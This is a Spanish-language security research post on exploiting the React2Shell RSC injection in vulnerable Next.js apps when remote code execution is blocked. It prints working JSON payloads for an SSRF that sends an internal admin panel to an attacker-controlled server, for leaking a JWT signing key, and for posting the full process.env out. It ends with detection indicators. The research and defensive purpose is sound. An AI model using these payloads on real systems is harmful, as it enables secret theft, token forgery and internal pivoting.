Hugo BareaHugo BareaFebruary 12, 20267 min de lectura

(Not)React2Shell: Alternativas para Inyecciones de RSC

#Vuln Analysis#Offensive#Next.js#PoC

Introducción

Durante un ejercicio reciente, llevamos a cabo un test de intrusión externo con el objetivo de intentar acceder a la red interna del cliente utilizando toda la superficie de ataque expuesta en Internet. Para nuestra sorpresa, parecía que tenían algunos activos que utilizaban versiones vulnerables de Next.js afectados por React2Shell, pero no conseguimos llegar a la ejecución remota de código (RCE) utilizando los PoCs públicos...

Este post cubre técnicas alternativas para explotar el componente de inyección de RSC de la vulnerabilidad React2Shell (CVE-2025-55182), con la intención de sacar provecho de escenarios donde la ejecución remota de comandos no es posible.

NOTE

Este post no discute payloads alternativos de RCE para React2Shell, sino formas alternativas de maximizar el impacto cuando la vulnerabilidad existe pero la ejecución remota de código no está disponible.

RSC -> RCE

React2Shell (CVE-2025-55182) es esencialmente un problema de inyección en React Server Components (RSC): el atacante influencia la manera en la que el servidor de Next.js interpreta y deserializa los payloads en forma de React Server Components.

En un escenario ideal, esta idea puede escalarse a ejecución remota de código (RCE), ya que atacante logra alcanzar rutas de evaluación peligrosas como:

  • Function(...)
  • constructor.constructor
  • La lógica de resolución de 'acciones' del lado del servidor
  • Manipulación insegura de los prototipos de objetos

Por qué puede fallar el RCE

A continuación se muestran algunas razones por las que la ejecución remota de comandos puede fallar en entornos de producción vulnerables a React2Shell:

  • Los proveedores de infraestructura ofrecen protecciones adicionales (e.g. Vercel)
  • Se utiliza el Edge Runtime, lo que significa que no hay acceso por defecto a APIs exclusivas de Node.js, no hay acceso a ejecución de comandos a nivel de sistema operativo, ni acceso al sistema de archivos.
  • Hay menos gadgets disponibles en la build de producción.
  • Despliegues bastionados o aislados (sandbox) que restringen el acceso a process o requieren controles adicionales.

En la práctica, muchas PoCs públicas asumen que una vez controlas el stream de RSC, la ejecución arbitraria de comandos es automática. Sin embargo, en entornos reales, los despliegues pueden no ser tan simples.

Dicho esto, no poder ejecutar comandos en el servidor no significa que el entorno sea seguro. Un atacante aún podría:

  • Ejecutar expresiones JavaScript del lado del servidor
  • Influir en cómo se resuelven los componentes
  • Exfiltrar datos sensibles en tiempo de ejecución

El resto del post se centra exactamente en técnicas que permiten aprovechar React2Shell cuando la RCE no está disponible.

Técnicas alternativas

Todas las técnicas mostradas han sido probadas en un entorno de desarrollo utilizando Edge Runtime para deshabilitar fácilmente la ejecución arbitraria de código. La explotación puede o no diferir en producción.

WARNING

Los payloads se muestran con fines educativos y de testing defensivo; la explotación en entornos reales debe realizarse únicamente con autorización explícita.

Configuración del escenario

Para el laboratorio utilizado durante la investigación de este post, propusimos una configuración común y fácil de habilitar en servidores Next.js reales.

Dicha configuración es Edge Runtime, que difiere del runtime por defecto (Node.js) en que carece de soporte para muchas APIs de éste último. Por lo tanto, una webapp que use este runtime no es directamente vulnerable a RCE incluso si es vulnerable a React2Shell.

Las APIs disponibles en Edge Runtime se listan aquí.

Edge Runtime está diseñado para entornos serverless, y aunque Vercel recomienda "migrar de Edge a Node.js para mejorar el rendimiento y la fiabilidad", no es raro encontrarlo.

Edge Runtime impone fuertes restricciones sobre objetos como process. Sin embargo, durante el laboratorio para este post, logramos exfiltrar variables de entorno usando process.env incluso en Edge Runtime (explorado más abajo), si bien es cierto que las pruebas se realizaron en un entorno de 'dev'. Este comportamiento puede depender del despliegue.

Independientemente del runtime, los payloads descritos podrían ser útiles en contextos donde el acceso al sistema de ficheros o a execSync esté restringido.

Date.now() (PoC)

Para empezar, un payload rápido y sencillo para comprobar la inyección de RSC es el siguiente:

json
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=Date.now().toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}

La respuesta debería contener una cabecera x-action-redirect conteniendo la fecha, y funciona prácticamente en cualquier contexto donde exista la vulnerabilidad, ya que Date.now() está presente en cualquier runtime de JavaScript.

SSRF

Usando la función fetch del lado del servidor, un atacante podría aprovechar la vulnerabilidad para obtener SSRF.

Esto puede utilizarse para enumerar puertos y otros hosts activos dentro de la misma red donde se encuentra el servidor, así como para sondear servicios vinculados a la interfaz loopback (127.0.0.1), facilitando el mapeo de la superficie de ataque desde la perspectiva del servidor Next.js.

En el laboratorio, configuramos un panel de administración de ejemplo vinculado únicamente al puerto 8000 de la interfaz localhost.

El siguiente payload muestra cómo la vulnerabilidad puede usarse para visualizar este panel, exfiltrando el HTML al atacante:

json
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "fetch('http://127.0.0.1:8000/').then(r=>fetch('ATTACKER_CONTROLLED_SERVER',{method:'POST',body:r.body}));throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/;307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}

Mediante el Collaborator de Burpsuite, se evidencia la posibilidad de exfiltrar el código fuente, copiarlo en un archivo HTML y visualizarlo.

Exfiltración de panel de administración interno (interfaz 127.0.0.1)Exfiltración de panel de administración interno (interfaz 127.0.0.1)

Evidentemente, se podría profundizar en el hallazgo de cara a:

  • Hacer fuzzing del panel interno en busca de directorios/parámetros
  • Pivotar hacia servicios internos únicamente accesibles desde la red local

Exfiltración de .env

Por último, y lo más importante, en ciertas instalaciones (donde process no está restringido) podría ser posible revelar variables de entorno.

Para empezar, se podría intentar revelar NODE_ENV (process.env.NODE_ENV) para asegurar que la técnica funciona.

El payload evidenciado abajo puede adaptarse para revelar prácticamente cualquier variable de entorno, exponiendo potencialmente:

  • Tokens JWT
  • Tokens de terceros (ej. proveedores de correo)
  • URIs de conexión a bases de datos con credenciales

Asumiendo que la clave JWT se llama JWT_KEY, el siguiente payload podría usarse:

json
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=process.env.JWT_KEY.toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}

De esta manera, se revelaría una clave que potencialmente podría usarse para falsificar tokens JWT, comprometiendo el mecanismo de autenticación de la web.

Revelación de process.env.JWT_KEYRevelación de process.env.JWT_KEY

Además, dependiendo del despliegue, podría ser posible filtrar todo el objeto process.env a un servidor controlado por el atacante:

json
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "fetch('ATTACKER_CONTROLLED_SERVER',{method:'POST',body:JSON.stringify(process.env)});throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/;307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}

Exfiltración del objeto process.envExfiltración del objeto process.env

Detección

OpSec mediocre

Una explotación descuidada de la inyección RSC deja trazas obvias. Algunos errores comunes:

  • Flooding de peticiones Envíos repetidos de payloads conteniendo RSC.

  • Rutas de exfiltración predecibles El uso de /exploit?out=exfil_data es extremadamente frecuente en PoCs públicas.

Indicadores de Compromiso

  • Errores del servidor y códigos anómalos Un número inusual de HTTP 500 o redirecciones puede indicar la explotación activa de la vulnerabilidad.

  • Peticiones salientes inusuales Podrían evidenciar intentos de SSRF.

  • Valores de variables de entorno en logs Un atacante podría haber forzado al servidor a filtrar una variable.

Conclusión

Incluso sin RCE, la inyección de RSC puede tener otros impactos como la posibilidad de pivotar vía SSRF o exfiltrar secretos del entorno, haciendo de React2Shell un problema serio incluso en runtimes restringidos o escenarios limitados.